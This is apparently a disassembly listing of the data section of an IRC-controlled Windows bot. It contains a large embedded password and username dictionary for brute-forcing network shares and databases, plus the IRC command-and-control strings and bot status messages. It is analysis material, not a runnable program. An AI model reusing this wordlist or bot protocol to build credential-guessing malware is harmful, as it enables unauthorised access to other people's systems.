aBeammeup	db 'beammeup',0         ; DATA XREF: seg001:0042C844o
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg001:0042C840o
		align 4
aBatman		db 'batman',0           ; DATA XREF: seg001:0042C83Co
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg001:0042C838o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: seg001:0042C834o
aBass		db 'bass',0             ; DATA XREF: seg001:0042C830o
		align 4
aBasic		db 'basic',0            ; DATA XREF: seg001:0042C82Co
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: seg001:0042C828o
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: seg001:0042C824o
aBart		db 'bart',0             ; DATA XREF: seg001:0042C820o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: seg001:0042C81Co
		align 4
aBarf		db 'barf',0             ; DATA XREF: seg001:0042C818o
		align 4
aBare		db 'bare',0             ; DATA XREF: seg001:0042C814o
		align 4
aBarber		db 'barber',0           ; DATA XREF: seg001:0042C810o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg001:0042C80Co
aBanks		db 'banks',0            ; DATA XREF: seg001:0042C808o
		align 4
aBank		db 'bank',0             ; DATA XREF: seg001:0042C804o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: seg001:0042C800o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg001:0042C7FCo
aBanana		db 'banana',0           ; DATA XREF: seg001:0042C7F8o
		align 4
aBall		db 'ball',0             ; DATA XREF: seg001:0042C7F4o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: seg001:0042C7F0o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg001:0042C7ECo
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: seg001:0042C7E8o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: seg001:0042C7E4o
aBaby		db 'baby',0             ; DATA XREF: seg001:0042C7E0o
		align 4
aBabe		db 'babe',0             ; DATA XREF: seg001:0042C7DCo
		align 10h
aAzure		db 'azure',0            ; DATA XREF: seg001:0042C7D8o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: seg001:0042C7D4o
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg001:0042C7D0o
		align 4
aAttack		db 'attack',0           ; DATA XREF: seg001:0042C7CCo
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg001:0042C7C8o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg001:0042C7C4o
		align 4
aAthena		db 'athena',0           ; DATA XREF: seg001:0042C7C0o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: seg001:0042C7BCo
aAsian		db 'asian',0            ; DATA XREF: seg001:0042C7B8o
		align 10h
aArtist		db 'artist',0           ; DATA XREF: seg001:0042C7B4o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: seg001:0042C7B0o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: seg001:0042C7ACo
		align 4
aArmy		db 'army',0             ; DATA XREF: seg001:0042C7A8o
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: seg001:0042C7A4o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: seg001:0042C7A0o
aAria		db 'aria',0             ; DATA XREF: seg001:0042C79Co
		align 4
aApril		db 'april',0            ; DATA XREF: seg001:0042C798o
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: seg001:0042C794o
		align 4
aAnything	db 'anything',0         ; DATA XREF: seg001:0042C790o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: seg001:0042C78Co
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: seg001:0042C788o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: seg001:0042C784o
aAnswer		db 'answer',0           ; DATA XREF: seg001:0042C780o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: seg001:0042C77Co
		align 4
aAnon		db 'anon',0             ; DATA XREF: seg001:0042C778o
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: seg001:0042C774o
aAnne		db 'anne',0             ; DATA XREF: seg001:0042C770o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: seg001:0042C76Co
		align 4
aAnita		db 'anita',0            ; DATA XREF: seg001:0042C768o
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: seg001:0042C764o
aAnimal		db 'animal',0           ; DATA XREF: seg001:0042C760o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: seg001:0042C75Co
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: seg001:0042C758o
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg001:0042C754o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: seg001:0042C750o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg001:0042C74Co
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: seg001:0042C748o
		align 4
aAndroid	db 'android',0          ; DATA XREF: seg001:0042C744o
aAndrea		db 'andrea',0           ; DATA XREF: seg001:0042C740o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: seg001:0042C73Co
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: seg001:0042C738o
aAnarchis	db 'anarchis',0         ; DATA XREF: seg001:0042C734o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg001:0042C730o
		align 4
aAnal		db 'anal',0             ; DATA XREF: seg001:0042C72Co
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg001:0042C728o
		align 10h
aAmerica	db 'america',0          ; DATA XREF: seg001:0042C724o
aAmber		db 'amber',0            ; DATA XREF: seg001:0042C720o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: seg001:0042C71Co
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: seg001:0042C718o
aAlphabet	db 'alphabet',0         ; DATA XREF: seg001:0042C714o
		align 4
aAllow		db 'allow',0            ; DATA XREF: seg001:0042C710o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg001:0042C70Co
aAlison		db 'alison',0           ; DATA XREF: seg001:0042C708o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg001:0042C704o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: seg001:0042C700o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg001:0042C6FCo
		align 4
aAliases	db 'aliases',0          ; DATA XREF: seg001:0042C6F8o
aAlias		db 'alias',0            ; DATA XREF: seg001:0042C6F4o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: seg001:0042C6F0o
aAlexande	db 'alexande',0         ; DATA XREF: seg001:0042C6ECo
		align 10h
aAlex		db 'alex',0             ; DATA XREF: seg001:0042C6E8o
		align 4
aAlert		db 'alert',0            ; DATA XREF: seg001:0042C6E4o
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: seg001:0042C6E0o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: seg001:0042C6DCo
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg001:0042C6D8o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: seg001:0042C6D4o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg001:0042C6D0o
		align 10h
aAids		db 'aids',0             ; DATA XREF: seg001:0042C6CCo
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: seg001:0042C6C8o
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg001:0042C6C4o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: seg001:0042C6C0o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: seg001:0042C6BCo
		align 10h
aAdam		db 'adam',0             ; DATA XREF: seg001:0042C6B8o
		align 4
aAction		db 'action',0           ; DATA XREF: seg001:0042C6B4o
		align 10h
aAccount	db 'account',0          ; DATA XREF: seg001:0042C6B0o
aAcademic	db 'academic',0         ; DATA XREF: seg001:0042C6A8o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg001:0042C6A4o
		align 10h
a000000		db '000000',0           ; DATA XREF: seg001:0042C6A0o
					; seg001:0042E0B8o
		align 4
a00000		db '00000',0            ; DATA XREF: seg001:0042C69Co
					; seg001:0042E0B4o
		align 10h
a0000		db '0000',0             ; DATA XREF: seg001:0042C698o
					; seg001:0042E0B0o
		align 4
a000		db '000',0              ; DATA XREF: seg001:0042C694o
					; seg001:0042E0ACo
aTesting	db 'testing',0          ; DATA XREF: seg001:0042C690o
aDeath		db 'death',0            ; DATA XREF: seg001:0042C68Co
		align 4
a00		db '00',0               ; DATA XREF: seg001:0042C688o
					; seg001:0042E0A8o
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg001:0042C680o
					; seg001:0042E4F8o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg001:0042C67Co
					; seg001:0042E4F4o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg001:0042C678o
					; seg001:0042E4F0o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg001:0042C674o
					; seg001:0042E4ECo
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg001:0042C670o
					; seg001:0042E4E8o
		align 10h
aXxxx		db 'xxxx',0             ; DATA XREF: seg001:0042C66Co
					; seg001:0042E4E4o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: seg001:0042C668o
					; seg001:0042E4E0o
aXx		db 'xx',0               ; DATA XREF: seg001:0042C664o
					; seg001:0042E4DCo
		align 10h
asc_432D30:				; DATA XREF: seg001:0042C660o
					; seg001:0042E4D8o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg001:0042C65Co
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg001:0042C658o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg001:0042C654o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: seg001:0042C650o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg001:0042C64Co
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg001:0042C648o
		align 4
aScript		db 'script',0           ; DATA XREF: seg001:0042C644o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg001:0042C640o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: seg001:0042C63Co
		align 4
aL337		db 'l337',0             ; DATA XREF: seg001:0042C638o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: seg001:0042C634o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg001:0042C630o
		align 4
aKiller		db 'killer',0           ; DATA XREF: seg001:0042C62Co
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg001:0042C628o
					; seg001:0042E114o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: seg001:0042C624o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg001:0042C620o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: seg001:0042C61Co
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: seg001:0042C618o
aSatanik	db 'satanik',0          ; DATA XREF: seg001:0042C614o
aSatan		db 'satan',0            ; DATA XREF: seg001:0042C610o
		align 10h
aGobo		db 'gobo',0             ; DATA XREF: seg001:0042C60Co
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: seg001:0042C608o
aMatt		db 'Matt',0             ; DATA XREF: seg001:0042C604o
		align 4
aMat		db 'Mat',0              ; DATA XREF: seg001:0042C600o
aPw		db 'pw',0               ; DATA XREF: seg001:0042C5FCo
		align 10h
aMypass123	db 'mypass123',0        ; DATA XREF: seg001:0042C5F8o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: seg001:0042C5F4o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg001:0042C5F0o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: seg001:0042C5ECo
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: seg001:0042C5E8o
aMypc		db 'mypc',0             ; DATA XREF: seg001:0042C5E4o
		align 4
aLove		db 'love',0             ; DATA XREF: seg001:0042C5E0o
		align 10h
aPwd		db 'pwd',0              ; DATA XREF: seg001:0042C5DCo
aLogin		db 'login',0            ; DATA XREF: seg001:0042C5D8o
		align 4
aHome		db 'home',0             ; DATA XREF: seg001:0042C5D4o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg001:0042C5D0o
					; seg001:0042E518o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: seg001:0042C5CCo
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg001:0042C5C8o
					; seg001:0042E484o
		align 4
aSecret		db 'secret',0           ; DATA XREF: seg001:0042C5C4o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg001:0042C5C0o
					; seg001:0042E530o
		align 4
aPc		db 'pc',0               ; DATA XREF: seg001:0042C5BCo
		align 10h
aWin		db 'win',0              ; DATA XREF: seg001:0042C5B8o
aTest123	db 'test123',0          ; DATA XREF: seg001:0042C5B4o
aAbc		db 'abc',0              ; DATA XREF: seg001:0042C5B0o
aAaa		db 'aaa',0              ; DATA XREF: seg001:0042C5ACo
					; seg001:0042E458o
aA_2:					; DATA XREF: seg001:0042C5A8o
					; seg001:0042E450o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg001:0042C5A4o
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: seg001:0042C5A0o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: seg001:0042C59Co
aIrule		db 'irule',0            ; DATA XREF: seg001:0042C598o
		align 4
aOwned		db 'owned',0            ; DATA XREF: seg001:0042C594o
		align 10h
a0wned		db '0wned',0            ; DATA XREF: seg001:0042C590o
					; seg001:0042E118o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: seg001:0042C58Co
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg001:0042C588o
		align 10h
aDevil		db 'devil',0            ; DATA XREF: seg001:0042C584o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: seg001:0042C580o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: seg001:0042C57Co
		align 4
aGod		db 'god',0              ; DATA XREF: seg001:0042C578o
aSex_0		db 'sex',0              ; DATA XREF: seg001:0042C574o
aPat		db 'pat',0              ; DATA XREF: seg001:0042C570o
aPatrick	db 'patrick',0          ; DATA XREF: seg001:0042C56Co
aAlpha		db 'alpha',0            ; DATA XREF: seg001:0042C568o
		align 4
a007		db '007',0              ; DATA XREF: seg001:0042C564o
					; seg001:0042E104o
a123abc		db '123abc',0           ; DATA XREF: seg001:0042C560o
					; seg001:0042E314o
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: seg001:0042C55Co
					; seg001:0042E320o
		align 4
a123123		db '123123',0           ; DATA XREF: seg001:0042C558o
					; seg001:0042E2C0o
		align 4
a121212		db '121212',0           ; DATA XREF: seg001:0042C554o
					; seg001:0042E2B8o
		align 4
a111111		db '111111',0           ; DATA XREF: seg001:0042C550o
					; seg001:0042E130o
		align 4
a110		db '110',0              ; DATA XREF: seg001:0042C54Co
					; seg001:0042E284o
a2600		db '2600',0             ; DATA XREF: seg001:0042C548o
					; seg001:0042E40Co
		align 10h
a2002		db '2002',0             ; DATA XREF: seg001:0042C540o
					; seg001:0042E3F8o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: seg001:0042C53Co
		align 4
aEnable		db 'enable',0           ; DATA XREF: seg001:0042C538o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg001:0042C534o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg001:0042C530o
a123asd		db '123asd',0           ; DATA XREF: seg001:0042C52Co
					; seg001:0042E318o
		align 4
aSuper		db 'super',0            ; DATA XREF: seg001:0042C528o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: seg001:0042C524o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: seg001:0042C51Co
					; seg001:0042E31Co
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: seg001:0042C518o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: seg001:0042C510o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: seg001:0042C50Co
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg001:0042C504o
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: seg001:0042C500o
		align 4
a88888888	db '88888888',0         ; DATA XREF: seg001:0042C4FCo
					; seg001:0042E250o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg001:0042C4F8o
					; seg001:0042E138o
		align 10h
a111		db '111',0              ; DATA XREF: seg001:0042C4F4o
					; seg001:0042E124o
a54321		db '54321',0            ; DATA XREF: seg001:0042C4F0o
					; seg001:0042E418o
		align 4
a654321		db '654321',0           ; DATA XREF: seg001:0042C4ECo
					; seg001:0042E41Co
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg001:0042C4E8o
					; seg001:0042E2D8o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: seg001:0042C4E4o
					; seg001:0042E2D4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: seg001:0042C4E0o
					; seg001:0042E2D0o
a123456		db '123456',0           ; DATA XREF: seg001:0042C4DCo
					; seg001:0042E2CCo
		align 4
a12345		db '12345',0            ; DATA XREF: seg001:0042C4D8o
					; seg001:0042E2C8o
		align 4
a1234		db '1234',0             ; DATA XREF: seg001:0042C4D4o
					; seg001:0042E2C4o
		align 4
a123		db '123',0              ; DATA XREF: seg001:0042C4D0o
					; seg001:0042E2BCo
a12		db '12',0               ; DATA XREF: seg001:0042C4CCo
					; seg001:0042E2B0o
		align 4
a1:					; DATA XREF: seg001:0042C4C8o
					; seg001:0042E11Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg001:0042C4C4o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg001:0042C4C0o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: seg001:0042C4BCo
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg001:0042C4B8o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: seg001:0042C4B4o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: seg001:0042C4B0o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: seg001:0042C4ACo
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: seg001:0042C4A8o
					; seg001:0042E868o
		align 10h
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg001:0042C4A4o
					; seg001:0042E4B8o ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: seg001:0042C4A0o
					; seg001:0042E860o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: seg001:0042C498o
					; seg001:0042E858o
		align 4
aTest		db 'TEST',0             ; DATA XREF: seg001:0042C494o
					; seg001:0042E854o
		align 10h
aEdu		db 'edu',0              ; DATA XREF: seg001:0042C490o
					; seg001:0042E850o
aOwner_1	db 'Owner',0            ; DATA XREF: seg001:0042C48Co
					; seg001:0042E84Co
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: seg001:0042C488o
					; seg001:0042E848o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg001:0042C484o
					; seg001:0042E844o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: seg001:0042C480o
					; seg001:0042E840o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg001:0042C47Co
					; seg001:0042E83Co
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: seg001:0042C478o
					; seg001:0042E838o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg001:0042C474o
					; seg001:0042E834o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: seg001:0042C470o
					; seg001:0042E830o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg001:0042C46Co
					; seg001:0042E82Co
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: seg001:0042C468o
					; seg001:0042E828o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg001:0042C464o
					; seg001:0042E824o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: seg001:0042C460o
					; seg001:0042E820o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg001:0042C45Co
					; seg001:0042E81Co
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: seg001:0042C454o
					; seg001:0042E814o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: seg001:0042C450o
					; seg001:0042E810o
		align 10h
aBla		db 'bla',0              ; DATA XREF: seg001:0042C44Co
					; seg001:0042E80Co
aFubar		db 'fubar',0            ; DATA XREF: seg001:0042C448o
					; seg001:0042E808o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg001:0042C43Co
					; seg001:0042E7FCo
		align 4
aDb2		db 'db2',0              ; DATA XREF: seg001:0042C42Co
aOracle		db 'oracle',0           ; DATA XREF: seg001:0042C428o
					; seg001:0042C514o
		align 4
aDba		db 'dba',0              ; DATA XREF: seg001:0042C424o
aDatabase	db 'database',0         ; DATA XREF: seg001:0042C420o
					; seg001:0042C508o
		align 4
aDefault	db 'default',0          ; DATA XREF: seg001:0042C41Co
					; seg001:0042CBA8o
aGuest_0	db 'guest',0            ; DATA XREF: seg001:0042C418o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg001:0042C414o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg001:0042C410o
					; seg001:0042DB3Co
aStudent	db 'student',0          ; DATA XREF: seg001:0042C40Co
					; seg001:0042DA84o
aOwner		db 'owner',0            ; DATA XREF: seg001:0042C408o
		align 4
aComputer	db 'computer',0         ; DATA XREF: seg001:0042C404o
					; seg001:0042C520o
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg001:0042C3FCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: seg001:0042C3F4o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: seg001:0042C3F0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg001:0042C3ECo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg001:0042C3E8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg001:0042C3E4o
					; seg001:0042C444o ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4134AF:loc_4135BAo
					; seg001:0042C3E0o ...
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg001:off_42C330o
a@room		db '*@room',0           ; DATA XREF: seg001:off_42C32Co
		align 4
dword_433218	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C574+34Do
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h
dword_433244	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40C574+27Bo
dword_433250	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CA58+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CBBE+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CBBE+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C7Do
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C68o
		align 4
dword_4332C8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5C54o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_4332FC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5C37o
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 10h
dword_433330	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5BE2o
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 10h
dword_433370	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5B75o
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40CD3A+5B66o
					; sub_40CD3A+5BD3o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40CD3A+5B52o
					; sub_40CD3A+5BBFo
		align 4
asc_4333FC:				; DATA XREF: sub_40CD3A+5B22o
		unicode	0, <~>,0
dword_433400	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5AD1o
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_433438	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5A23o
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_433478	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5A18o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_4334B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+59C7o
		dd 2029206Ch, 2BBBB02h,	73252020h, 2 dup(0)
unk_4334E0	db    2			; DATA XREF: sub_40CD3A+59A3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_433530	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_40CD3A+593Fo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40CD3A+5939o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40CD3A+5932o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40CD3A+58D7o
aSecure		db 'secure',0           ; DATA XREF: sub_40CD3A+58C6o
		align 10h
unk_433580	db    2			; DATA XREF: sub_40CD3A+58A6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_4335CC	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40CD3A+5783o
dword_4335DC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40CD3A+577Eo
dword_4335E8	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40CD3A+576Eo
dword_4335F4	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40CD3A+5769o
dword_433604	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5733o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_412460o
		align 4
dword_433648	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5711o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_41243Eo
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+56DBo
		align 4
dword_43369C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+568Fo
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_4336DC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5651o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_433708	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A+5627o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_433754	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A+55CEo
